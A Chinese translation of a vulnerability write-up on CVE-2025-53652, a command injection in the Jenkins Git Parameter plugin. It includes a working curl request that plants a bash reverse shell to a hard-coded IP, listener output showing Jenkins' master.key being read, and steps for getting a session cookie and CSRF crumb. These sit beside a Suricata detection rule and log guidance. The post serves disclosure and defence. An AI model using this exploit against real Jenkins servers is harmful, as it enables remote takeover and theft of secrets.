文章总结： JenkinsGitParameter插件的CVE-2025-53652漏洞最初被评为中危但实际上是命令注入漏洞，约15,000台Jenkins服务器可能允许未经身份验证访问导致远程代码执行风险。该漏洞源于插件未对用户提供的Git参数进行适当验证，允许攻击者注入任意命令。即使升级插件后仍可能存在风险，因为补丁可被绕过。文章提供了漏洞利用方法和检测建议，包括Suricata规则和日志分析，强调了持续监控的重要性。
综合评分： 91
文章分类： 漏洞分析,渗透测试,WEB安全,漏洞预警,应急响应
Jenkins Git Parameter 插件命令注入漏洞 (CVE-2025-53652)
Jacob Baines
securitainment
2025年8月9日 16:47
广东
翻译自 Command Injection in Jenkins via Git Parameter (CVE-2025-53652)
免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
核心摘要
- CVE-2025-53652 最初被披露为中危漏洞，但它实际上允许通过 Jenkins Git Parameter 插件实现命令注入。
- 约有 15,000 台 Jenkins 服务器似乎允许未经身份验证的访问，这可导致在野远程代码执行 (RCE)。
- 该漏洞的修复补丁可被绕过，因此即使升级后，漏洞检测依然重要。
引言
7 月 9 日，Jenkins 披露了 CVE-2025-53652（即 SECURITY-34191），这是当天公布的 31 个插件漏洞之一。该漏洞影响了 Git Parameter 插件，被评为中等风险，并被描述为允许攻击者“在 Git 参数中注入任意值”。在我们看来，这是一个参数注入 (Parameter Injection) 问题，通常被认为是低风险的。
但这其中涉及到了 Git，而 Git 并非普通的二进制文件。它是一个功能强大的 GTFObin (可被用于绕过限制的合法二进制文件)。我们怀疑可以将参数注入升级为远程代码执行。鉴于有机会巧妙利用 GTFObin，并且该插件拥有庞大的安装量，我们决定深入研究。
未经校验的 Git 参数
问题的根源在于，Git Parameter 插件在参数定义中接受了任意值，而这些值稍后被直接用于 shell 命令中。例如，以下流水线配置定义了一个在 master分支上操作的构建任务。
一个正常的流水线配置
当构建任务使用像 master这样的正常值运行时，一切都按预期进行。
正常的构建输出
如上所示，第一个命令 (git rev-parse) 包含了用户提供的参数。我们可以通过将分支设置为 $(sleep 80)来确认此输入未经校验。
包含漏洞利用的流水线配置
当构建任务使用 $(sleep 80)作为参数运行时，被注入的命令出现在输出中，并且进程在 git fetch期间挂起。
被利用的构建输出
在 Jenkins 主机上快速执行 ps faux，可以确认 git fetch生成了一个子进程，该子进程正在执行攻击者提供的 sleep命令。
USER PID COMMANDjenkins 7 java -Duser.home=/var/jenkins_home -Djenkins.model.Jenkins.slaveAgentPort=50000 -Dhudson.lifecycle=hudson.ljenkins 6912 \_ git fetch --tags --force --progress -- testuser@git:/home/testuser/test_repo.git +refs/heads/*:refs/remjenkins 6916 \_ /bin/sh /var/jenkins_home/workspace/buildName/$(sleep 80)@tmp/jenkins-gitclient-ssh5385459547173378jenkins 6917 \_ sleep 80
虽然 sleep证明了命令注入的存在，但它并未真正跨越安全边界。为了展示实际影响，可以使用以下 curl命令来触发一个反向 shell。
curl -kv 'http://jenkins:8080/job/[buildName]/build' -X POST \ -H 'Cookie: [cookie];' \ --data-urlencode 'Jenkins-Crumb=[crumb]' \ --data-urlencode 'json={"parameter":{"name":"BRANCH_PARAM","value":"\$(bash -c \"bash &> /dev/tcp/10.9.49.196/1270 <&1\")"}}'
要执行此攻击，您需要提供三条信息：
- 构建任务的名称（在我们的示例中为“buildName”）。
- 一个有效的会话 cookie（即使在利用未认证的实例时也需要）。
- 一个用于
/job/[buildName]/build端点的 Jenkins-Crumb (CSRF 令牌)。
如果成功，服务器将响应 201 Created，并且反向 shell 可以通过 nc捕获。
albinolobster@lastpoint:~$ nc -lvnp 1270Listening on 0.0.0.0 1270Connection received on 172.18.0.3 55664iduid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)cat ~/secrets/master.key05322ff531f1b52117bf013b2fe77b40dacbc56268d68b9e234216fe825a0073a5c8051181033f630e67c408d58c3ef631e18ba8b8e6722e64d3c1380518e89a91b4256c5c348febceb24ef32f144045ed422dfb4bdc840aca33814989e431aa00db6df7c403da38247324783811d46c6f3caa1f9b1b26d979fff4391249ca8a
输出确认了 shell 是以 jenkins用户身份运行的，并且我们成功读取了 master.key文件。
是否需要身份认证？
默认情况下，Jenkins 需要身份认证，在这种配置下，此漏洞确实需要凭证。然而，其 CVSS 向量中包含了 PR:N(权限要求：无)。这个评级基于两种可能的配置：
- Jenkins 可以被设置为完全禁用身份认证。
- Jenkins 可以允许任何人自由创建账户。
认证配置选项
虽然任意用户注册并不常见，但未认证的 Jenkins 实例并不少见。根据 FOFA 的数据，在超过 100,0003 个需要认证的公网 Jenkins 服务器中，只有大约 1,0004 个开放了注册。然而，大约有 15,0005 台服务器似乎完全禁用了身份认证，尽管我们尚未确认其中有多少安装了 Git Parameter 插件。
FOFA Jenkins 查询
即使禁用了身份认证，漏洞利用仍然需要有效的会话 cookie、构建任务名称以及 Jenkins Crumb。这可能会给像 Nuclei 这样的自动化工具带来一些阻碍，但不太可能阻止一个坚定的攻击者。获取这些信息通常只需要几个请求：
curl -kv http://localhost:8080/ -o /dev/nullcurl -kv http://localhost:8080/job/buildName/build -H 'Cookie: [cookie]' | grep "data-crumb-value="
之后，利用过程如上文所述。
检测方法与攻击指标
Jenkins 插件系统的一个优点是，当插件需要升级时，它会明确通知管理员。
插件升级警告
尽管 Jenkins 会明确标记过时的插件，但 Git Parameter 的补丁6 包含一个允许禁用修复的标志：
如果插件中的某个错误导致您无法使用更安全的设置，可以通过设置以下系统属性来禁用验证：
-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true
因此，即便插件已升级，该漏洞仍可能存在。检测利用的最可靠方法是在网络流量中。为了帮助实现这一点，VulnCheck Initial Access 团队开发了以下 Suricata 规则：
alert http any any -> any any ( \ msg:"VULNCHECK Jenkins Git-Parameter Plugin CVE-2025-53652 Build Param Injection"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.uri; content:"/job"; startswith; \ content:"/build"; \ http.request_body; content:"parameter"; \ content:"name"; distance: 0; \ content:"Jenkins-Crumb"; \ content:"value"; \ pcre:"/value[^&]*(\;|%3b|\||%7c|<|%3c|>|%3e|\(|%28|\)|%29|$|%24|`|%60|\"|%22|'|%27|\\|%5c|%26)/i"; \ reference:cve,CVE-2025-53652; \ classtype:web-application-attack; \ sid:12700622; rev:2; \ metadata: deployment Datacenter, deployment SSLDecrypt;)
如前所述，被注入的参数也会记录在 Jenkins 的任务日志中。这些日志可以在磁盘上的 ~/jobs/buildName/builds/#/log路径下找到。例如：
jenkins@2e8cd409b819:~/jobs/buildName/builds/17$ cat logStarted by user… truncated …The recommended git tool is: NONEusing credential f0cb5f5f-fa1a-4a89-9f1d-63d6bbaff7c8 > git rev-parse --resolve-git-dir /var/jenkins_home/workspace/buildName/$(sleep 80)/.git # timeout=10
简而言之，攻击痕迹可能会在网络流量和磁盘上同时存在。
结论
这个漏洞最初被评为中危，但实际上具备高危漏洞的特征。虽然我们不认为它会被大规模利用，但它正是攻击者会觉得有用的那种漏洞，特别是在针对性攻击或横向移动期间。
尽管我们曾希望能看到一些更有创意的 Git 参数利用技巧，但结果证明这是一个直接的命令注入漏洞，无需任何花哨的技巧。
参考文献
- https://www.jenkins.io/security/advisory/2025-07-09/#SECURITY-3419 ↩
- https://gtfobins.github.io/gtfobins/git/ ↩
- https://en.fofa.info/result?qbase64=Ym9keT0iYXBwLXNpZ24taW4tcmVnaXN0ZXIiICYmIGljb25faGFzaD0iODE1ODYzMTIi ↩
- https://en.fofa.info/result?qbase64=Ym9keT0iYXBwLXNpZ24taW4tcmVnaXN0ZXJfX3N3aXRjaGVyIiAmJiBpY29uX2hhc2g9IjgxNTg2MzEyIg%3D%3D↩
- https://en.fofa.info/result?qbase64=Ym9keT0iSmVua2lucy1DcnVtYiIgJiYgaWNvbl9oYXNoPSI4MTU4NjMxMiI%3D ↩
- https://github.com/jenkinsci/git-parameter-plugin/commit/cab84d3703c267dbdf3e1b4a06fcc51bbed4fcba ↩
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：securitainment Jacob Baines《Jenkins Git Parameter 插件命令注入漏洞 (CVE-2025-53652)》